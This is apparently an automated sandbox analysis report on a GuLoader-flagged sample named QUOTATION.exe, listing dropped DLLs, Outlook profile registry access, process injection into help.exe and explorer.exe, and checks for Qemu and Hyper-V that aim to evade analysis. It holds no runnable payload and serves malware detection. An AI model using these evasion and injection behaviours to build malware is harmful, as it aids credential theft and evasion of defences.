Source: C:\Windows\SysWOW64\help.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\Firefox.exe	Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION.exe

2_2_00403235

Source: C:\Users\user\Desktop\QUOTATION.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Ghetto

Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION.exe

File created: C:\Users\user\AppData\Local\Temp\nsf6999.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.rans.troj.spyw.evad.winEXE@7/11@19/15

Source: C:\Users\user\Desktop\QUOTATION.exe

Code function: 2_2_00402138 CoCreateInstance,MultiByteToWideChar,

2_2_00402138

Source: C:\Users\user\Desktop\QUOTATION.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION.exe

Code function: 2_2_004044FA GetDlgItem,SetWindowTextA,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA,

2_2_004044FA

Source: 4995H5Jfc.10.dr

Binary or memory string: CREATE TABLE "autofill_profile_edge_extended" ( guid VARCHAR PRIMARY KEY, date_of_birth_day VARCHAR, date_of_birth_month VARCHAR, date_of_birth_year VARCHAR, source INTEGER NOT NULL DEFAULT 0, source_id VARCHAR)[;

Source: C:\Windows\SysWOW64\help.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Jump to behavior

Source: QUOTATION.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: /_/artifacts/obj/manual.System/net6.0-Release/System.pdbSHA256n source: QUOTATION.exe, 00000002.00000003.3066562321.00000000028CA000.00000004.00000020.00020000.00000000.sdmp, System.dll.2.dr
Source:	Binary string: maintenanceservice.pdb@ 0%P% source: QUOTATION.exe, 00000002.00000003.3070142843.0000000004E8F000.00000004.00000020.00020000.00000000.sdmp, maintenanceservice2.exe.2.dr
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Security.Cryptography.X509Certificates\net6.0-windows-Release\System.Security.Cryptography.X509Certificates.pdb source: QUOTATION.exe, 00000002.00000003.3065006946.0000000004E8F000.00000004.00000020.00020000.00000000.sdmp, System.Security.Cryptography.X509Certificates.dll.2.dr
Source:	Binary string: mshtml.pdb source: QUOTATION.exe, 00000008.00000001.3526150899.0000000000649000.00000020.00000001.01000000.00000006.sdmp
Source:	Binary string: /_/artifacts/obj/manual.System/net6.0-Release/System.pdb source: QUOTATION.exe, 00000002.00000003.3066562321.00000000028CA000.00000004.00000020.00020000.00000000.sdmp, System.dll.2.dr
Source:	Binary string: System.Security.Cryptography.X509Certificates.ni.pdb source: QUOTATION.exe, 00000002.00000003.3065006946.0000000004E8F000.00000004.00000020.00020000.00000000.sdmp, System.Security.Cryptography.X509Certificates.dll.2.dr
Source:	Binary string: wntdll.pdbUGP source: QUOTATION.exe, 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, QUOTATION.exe, 00000008.00000003.4186562226.0000000033393000.00000004.00000020.00020000.00000000.sdmp, QUOTATION.exe, 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmp, QUOTATION.exe, 00000008.00000003.4192719473.0000000033544000.00000004.00000020.00020000.00000000.sdmp, help.exe, 0000000A.00000003.4285759564.0000000003861000.00000004.00000020.00020000.00000000.sdmp, help.exe, 0000000A.00000002.8000718491.0000000003B3D000.00000040.00001000.00020000.00000000.sdmp, help.exe, 0000000A.00000002.8000718491.0000000003A10000.00000040.00001000.00020000.00000000.sdmp, help.exe, 0000000A.00000003.4280954827.00000000036B4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\Builds\221\N2\HO_SE_g_2016_r_0\Sources\SolutionExplorer\target\nar\bin\x86-Windows-msvc\release\SolutionExplorerCLI.pdb source: QUOTATION.exe, 00000002.00000003.3062330160.00000000028C8000.00000004.00000020.00020000.00000000.sdmp, SolutionExplorerCLI.dll.2.dr
Source:	Binary string: wntdll.pdb source: QUOTATION.exe, QUOTATION.exe, 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, QUOTATION.exe, 00000008.00000003.4186562226.0000000033393000.00000004.00000020.00020000.00000000.sdmp, QUOTATION.exe, 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmp, QUOTATION.exe, 00000008.00000003.4192719473.0000000033544000.00000004.00000020.00020000.00000000.sdmp, help.exe, 0000000A.00000003.4285759564.0000000003861000.00000004.00000020.00020000.00000000.sdmp, help.exe, 0000000A.00000002.8000718491.0000000003B3D000.00000040.00001000.00020000.00000000.sdmp, help.exe, 0000000A.00000002.8000718491.0000000003A10000.00000040.00001000.00020000.00000000.sdmp, help.exe, 0000000A.00000003.4280954827.00000000036B4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mshtml.pdbUGP source: QUOTATION.exe, 00000008.00000001.3526150899.0000000000649000.00000020.00000001.01000000.00000006.sdmp
Source:	Binary string: help.pdbGCTL source: QUOTATION.exe, 00000008.00000002.4282050831.00000000000E0000.00000040.10000000.00040000.00000000.sdmp, QUOTATION.exe, 00000008.00000002.4314495070.000000000348E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: maintenanceservice.pdb source: QUOTATION.exe, 00000002.00000003.3070142843.0000000004E8F000.00000004.00000020.00020000.00000000.sdmp, maintenanceservice2.exe.2.dr
Source:	Binary string: help.pdb source: QUOTATION.exe, 00000008.00000002.4282050831.00000000000E0000.00000040.10000000.00040000.00000000.sdmp, QUOTATION.exe, 00000008.00000002.4314495070.000000000348E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: firefox.pdb source: help.exe, 0000000A.00000003.4515135577.0000000008590000.00000004.00000020.00020000.00000000.sdmp, help.exe, 0000000A.00000003.4462698473.0000000007E98000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Yara detected GuLoader

Source: Yara match	File source: 00000002.00000002.3674014091.0000000004F87000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.3060874680.00000000028C5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.4282173420.0000000001660000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.3674014091.0000000004E80000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Ghetto\Industrialization\Snoldets\Embrocates\Utaalmodiges.Taa169, type: DROPPED

Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 2_2_6F602F60 push eax; ret	2_2_6F602F8E
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 2_2_04E808C9 pushfd ; retf	2_2_04E808CA
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 2_2_04E866CD push cs; retf	2_2_04E866CE
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 2_2_04E86E92 push cs; retf	2_2_04E86EDA
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 2_2_04E84868 push D6704826h; ret	2_2_04E84873
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 2_2_04E83A61 push ecx; retf	2_2_04E83A64
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 2_2_04E83A75 push ecx; retf	2_2_04E83A64
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 2_2_04E87819 pushad ; ret	2_2_04E8781C
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 2_2_04E86378 push cs; retf	2_2_04E8637A
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337208CD push ecx; mov dword ptr [esp], ecx	8_2_337208D6
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_01664868 push D6704826h; ret	8_2_01664873
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_01667819 pushad ; ret	8_2_0166781C
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_016608C9 pushfd ; retf	8_2_016608CA
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_01666378 push cs; retf	8_2_0166637A
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_01663A61 push ecx; retf	8_2_01663A64
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_01663A75 push ecx; retf	8_2_01663A64
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_016666CD push cs; retf	8_2_016666CE
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_01666E92 push cs; retf	8_2_01666EDA

Source: libdatrie-1.dll.2.dr	Static PE information: section name: .xdata
Source: libpkcs11-helper-1.dll.2.dr	Static PE information: section name: .xdata
Source: maintenanceservice2.exe.2.dr	Static PE information: section name: .00cfg
Source: percentile.dll.2.dr	Static PE information: section name: .xdata
Source: percentile.dll.2.dr	Static PE information: section name: /4
Source: percentile.dll.2.dr	Static PE information: section name: /19
Source: percentile.dll.2.dr	Static PE information: section name: /31
Source: percentile.dll.2.dr	Static PE information: section name: /45
Source: percentile.dll.2.dr	Static PE information: section name: /57
Source: percentile.dll.2.dr	Static PE information: section name: /70
Source: percentile.dll.2.dr	Static PE information: section name: /81
Source: percentile.dll.2.dr	Static PE information: section name: /92

Source: C:\Users\user\Desktop\QUOTATION.exe

Code function: 2_2_6F601A98 GlobalAlloc,lstrcpyA,lstrcpyA,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyA,GetModuleHandleA,LoadLibraryA,GetProcAddress,lstrlenA,

2_2_6F601A98

Source: System.Security.Cryptography.X509Certificates.dll.2.dr

Static PE information: 0xF15766E0 [Tue Apr 22 20:30:24 2098 UTC]

Source: C:\Users\user\Desktop\QUOTATION.exe	File created: C:\Users\user\AppData\Local\Temp\nsg9F21.tmp\System.dll	Jump to dropped file
Source: C:\Users\user\Desktop\QUOTATION.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Ghetto\Alswith\Peroxidisement\Foresprges87\SolutionExplorerCLI.dll	Jump to dropped file
Source: C:\Users\user\Desktop\QUOTATION.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Ghetto\hamotzi\System.Security.Cryptography.X509Certificates.dll	Jump to dropped file
Source: C:\Users\user\Desktop\QUOTATION.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Ghetto\Wept\maintenanceservice2.exe	Jump to dropped file
Source: C:\Users\user\Desktop\QUOTATION.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Ghetto\Wept\percentile.dll	Jump to dropped file
Source: C:\Users\user\Desktop\QUOTATION.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Ghetto\hamotzi\System.dll	Jump to dropped file
Source: C:\Users\user\Desktop\QUOTATION.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Ghetto\Wept\libpkcs11-helper-1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\QUOTATION.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Ghetto\hamotzi\libdatrie-1.dll	Jump to dropped file

Source: C:\Users\user\Desktop\QUOTATION.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\help.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\help.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\help.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\help.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\help.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect Any.run

Source: C:\Users\user\Desktop\QUOTATION.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior

Source: C:\Windows\explorer.exe TID: 3992	Thread sleep time: -50000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\help.exe TID: 3320	Thread sleep count: 107 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\help.exe TID: 3320	Thread sleep time: -214000s >= -30000s	Jump to behavior

Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\help.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\help.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\QUOTATION.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Ghetto\Alswith\Peroxidisement\Foresprges87\SolutionExplorerCLI.dll	Jump to dropped file
Source: C:\Users\user\Desktop\QUOTATION.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Ghetto\hamotzi\System.Security.Cryptography.X509Certificates.dll	Jump to dropped file
Source: C:\Users\user\Desktop\QUOTATION.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Ghetto\Wept\maintenanceservice2.exe	Jump to dropped file
Source: C:\Users\user\Desktop\QUOTATION.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Ghetto\Wept\percentile.dll	Jump to dropped file
Source: C:\Users\user\Desktop\QUOTATION.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Ghetto\Wept\libpkcs11-helper-1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\QUOTATION.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Ghetto\hamotzi\libdatrie-1.dll	Jump to dropped file

Source: C:\Users\user\Desktop\QUOTATION.exe

Code function: 8_2_33761763 rdtsc

8_2_33761763

Source: C:\Windows\explorer.exe

Window / User API: foregroundWindowGot 877

Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION.exe

API coverage: 0.9 %

Source: C:\Windows\SysWOW64\help.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 2_2_004062DD FindFirstFileA,FindClose,		2_2_004062DD
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 2_2_004057A2 GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,		2_2_004057A2

Source: C:\Users\user\Desktop\QUOTATION.exe	API call chain: ExitProcess graph end node			graph_2-4874
Source: C:\Users\user\Desktop\QUOTATION.exe	API call chain: ExitProcess graph end node			graph_2-5036

Source: C:\Users\user\Desktop\QUOTATION.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Windows	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe	File opened: C:\Users\user\AppData\Local\Microsoft	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache	Jump to behavior

Source: QUOTATION.exe, 00000002.00000002.3704962508.00000000069C9000.00000004.00000800.00020000.00000000.sdmp, QUOTATION.exe, 00000008.00000002.4315161557.0000000004D59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Guest Shutdown Service
Source: QUOTATION.exe, 00000002.00000002.3704962508.00000000069C9000.00000004.00000800.00020000.00000000.sdmp, QUOTATION.exe, 00000008.00000002.4315161557.0000000004D59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Remote Desktop Virtualization Service
Source: QUOTATION.exe, 00000008.00000002.4315161557.0000000004D59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicshutdown
Source: QUOTATION.exe, 00000002.00000002.3704962508.00000000069C9000.00000004.00000800.00020000.00000000.sdmp, QUOTATION.exe, 00000008.00000002.4315161557.0000000004D59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Volume Shadow Copy Requestor
Source: explorer.exe, 00000009.00000003.4737750627.0000000010AD1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.4742907497.0000000010AD1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.8035943972.0000000010AD1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.4746888738.0000000010AD1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6462913242.0000000010AD1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.4229381389.0000000010AD1000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW:\x1"S
Source: QUOTATION.exe, 00000002.00000002.3704962508.00000000069C9000.00000004.00000800.00020000.00000000.sdmp, QUOTATION.exe, 00000008.00000002.4315161557.0000000004D59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V PowerShell Direct Service
Source: QUOTATION.exe, 00000002.00000002.3704962508.00000000069C9000.00000004.00000800.00020000.00000000.sdmp, QUOTATION.exe, 00000008.00000002.4315161557.0000000004D59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Time Synchronization Service
Source: QUOTATION.exe, 00000008.00000002.4315161557.0000000004D59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicvss
Source: QUOTATION.exe, 00000008.00000003.4189935994.000000000347B000.00000004.00000020.00020000.00000000.sdmp, QUOTATION.exe, 00000008.00000002.4314495070.000000000347B000.00000004.00000020.00020000.00000000.sdmp, QUOTATION.exe, 00000008.00000002.4313926438.0000000003418000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.4925755619.0000000010A13000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.4923558287.0000000010A13000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6308723662.00000000106FF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.6313657253.0000000010A15000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000003.4747263289.00000000106FF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.8033791122.00000000106FF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000000.4229381389.00000000106FF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.8035395623.0000000010A15000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: QUOTATION.exe, 00000008.00000003.4189935994.000000000347B000.00000004.00000020.00020000.00000000.sdmp, QUOTATION.exe, 00000008.00000002.4314495070.000000000347B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW~L
Source: QUOTATION.exe, 00000002.00000002.3704962508.00000000069C9000.00000004.00000800.00020000.00000000.sdmp, QUOTATION.exe, 00000008.00000002.4315161557.0000000004D59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Data Exchange Service
Source: QUOTATION.exe, 00000002.00000002.3704962508.00000000069C9000.00000004.00000800.00020000.00000000.sdmp, QUOTATION.exe, 00000008.00000002.4315161557.0000000004D59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Heartbeat Service
Source: QUOTATION.exe, 00000002.00000002.3704962508.00000000069C9000.00000004.00000800.00020000.00000000.sdmp, QUOTATION.exe, 00000008.00000002.4315161557.0000000004D59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Guest Service Interface
Source: QUOTATION.exe, 00000008.00000002.4315161557.0000000004D59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicheartbeat

Source: C:\Users\user\Desktop\QUOTATION.exe

Code function: 2_2_6F601A98 GlobalAlloc,lstrcpyA,lstrcpyA,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyA,GetModuleHandleA,LoadLibraryA,GetProcAddress,lstrlenA,

2_2_6F601A98

Source: C:\Users\user\Desktop\QUOTATION.exe

Code function: 8_2_33761763 rdtsc

8_2_33761763

Source: C:\Users\user\Desktop\QUOTATION.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3379E372 mov eax, dword ptr fs:[00000030h]	8_2_3379E372
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3379E372 mov eax, dword ptr fs:[00000030h]	8_2_3379E372
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3379E372 mov eax, dword ptr fs:[00000030h]	8_2_3379E372
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3379E372 mov eax, dword ptr fs:[00000030h]	8_2_3379E372
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337A0371 mov eax, dword ptr fs:[00000030h]	8_2_337A0371
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337A0371 mov eax, dword ptr fs:[00000030h]	8_2_337A0371
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3374237A mov eax, dword ptr fs:[00000030h]	8_2_3374237A
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3372B360 mov eax, dword ptr fs:[00000030h]	8_2_3372B360
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3372B360 mov eax, dword ptr fs:[00000030h]	8_2_3372B360
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3372B360 mov eax, dword ptr fs:[00000030h]	8_2_3372B360
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3372B360 mov eax, dword ptr fs:[00000030h]	8_2_3372B360
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3372B360 mov eax, dword ptr fs:[00000030h]	8_2_3372B360
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3372B360 mov eax, dword ptr fs:[00000030h]	8_2_3372B360
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3375E363 mov eax, dword ptr fs:[00000030h]	8_2_3375E363
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3375E363 mov eax, dword ptr fs:[00000030h]	8_2_3375E363
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3375E363 mov eax, dword ptr fs:[00000030h]	8_2_3375E363
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3375E363 mov eax, dword ptr fs:[00000030h]	8_2_3375E363
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3375E363 mov eax, dword ptr fs:[00000030h]	8_2_3375E363
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3375E363 mov eax, dword ptr fs:[00000030h]	8_2_3375E363
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3375E363 mov eax, dword ptr fs:[00000030h]	8_2_3375E363
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3375E363 mov eax, dword ptr fs:[00000030h]	8_2_3375E363
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3375A350 mov eax, dword ptr fs:[00000030h]	8_2_3375A350
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33718347 mov eax, dword ptr fs:[00000030h]	8_2_33718347
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33718347 mov eax, dword ptr fs:[00000030h]	8_2_33718347
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33718347 mov eax, dword ptr fs:[00000030h]	8_2_33718347
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337F3336 mov eax, dword ptr fs:[00000030h]	8_2_337F3336
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33758322 mov eax, dword ptr fs:[00000030h]	8_2_33758322
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33758322 mov eax, dword ptr fs:[00000030h]	8_2_33758322
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33758322 mov eax, dword ptr fs:[00000030h]	8_2_33758322
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3371E328 mov eax, dword ptr fs:[00000030h]	8_2_3371E328
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3371E328 mov eax, dword ptr fs:[00000030h]	8_2_3371E328
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3371E328 mov eax, dword ptr fs:[00000030h]	8_2_3371E328
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3374332D mov eax, dword ptr fs:[00000030h]	8_2_3374332D
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3373E310 mov eax, dword ptr fs:[00000030h]	8_2_3373E310
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3373E310 mov eax, dword ptr fs:[00000030h]	8_2_3373E310
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3373E310 mov eax, dword ptr fs:[00000030h]	8_2_3373E310
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3375631F mov eax, dword ptr fs:[00000030h]	8_2_3375631F
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33719303 mov eax, dword ptr fs:[00000030h]	8_2_33719303
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_33719303 mov eax, dword ptr fs:[00000030h]	8_2_33719303
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337A330C mov eax, dword ptr fs:[00000030h]	8_2_337A330C
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337A330C mov eax, dword ptr fs:[00000030h]	8_2_337A330C
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337A330C mov eax, dword ptr fs:[00000030h]	8_2_337A330C
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337A330C mov eax, dword ptr fs:[00000030h]	8_2_337A330C
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337DF30A mov eax, dword ptr fs:[00000030h]	8_2_337DF30A
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337533D0 mov eax, dword ptr fs:[00000030h]	8_2_337533D0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337543D0 mov ecx, dword ptr fs:[00000030h]	8_2_337543D0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337AE3DD mov eax, dword ptr fs:[00000030h]	8_2_337AE3DD
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337A43D5 mov eax, dword ptr fs:[00000030h]	8_2_337A43D5
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3371E3C0 mov eax, dword ptr fs:[00000030h]	8_2_3371E3C0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3371E3C0 mov eax, dword ptr fs:[00000030h]	8_2_3371E3C0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3371E3C0 mov eax, dword ptr fs:[00000030h]	8_2_3371E3C0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3371C3C7 mov eax, dword ptr fs:[00000030h]	8_2_3371C3C7
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337263CB mov eax, dword ptr fs:[00000030h]	8_2_337263CB
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_3379C3B0 mov eax, dword ptr fs:[00000030h]	8_2_3379C3B0
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337293A6 mov eax, dword ptr fs:[00000030h]	8_2_337293A6
Source: C:\Users\user\Desktop\QUOTATION.exe	Code function: 8_2_337293A6 mov eax, dword ptr fs:[00000030h]	8_2_337293A6
